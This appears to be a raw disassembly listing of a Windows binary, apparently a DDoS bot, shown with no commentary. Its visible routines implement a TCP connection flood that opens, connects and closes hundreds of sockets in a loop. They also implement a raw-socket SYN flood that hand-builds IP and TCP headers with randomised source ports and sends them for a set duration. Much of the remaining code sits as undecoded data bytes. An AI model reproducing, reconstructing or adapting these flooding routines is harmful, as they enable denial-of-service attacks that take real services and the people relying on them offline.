		push	eax
		push	[ebp+var_20]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790927h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB03C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 4C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22DD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF8415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A1B4o
		dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C1Ch, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BFCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Dh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DD1805C6h
		dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch
		dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch
		dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h
		dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h
		dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh,	0FF004CB0h
		dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435BB468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h
		dd 0FF90022Dh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B6868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022DCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h
		dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h
		dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 0A468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAEBCh, 0C0753B46h,	75FFDA7Ch, 5C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C7868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22DCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D9A5E800h
		dd 50900228h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0F868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2DCB13E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 27CF09E8h
		dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0CC68FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Dh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5D2068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022DC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 26904AEh
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D4Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2DC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAFA4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAFA4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAFA4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2790927h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790927h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB03C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 9468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22DC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch
		dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 8415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h
		dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB03C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB024h
		dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch,	0FFFBC085h
		dd 5EAC68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Dh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h
		dd 0C0858D50h, 68FFFFFBh, 435E74h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22DC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E5468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022DC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAFA4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
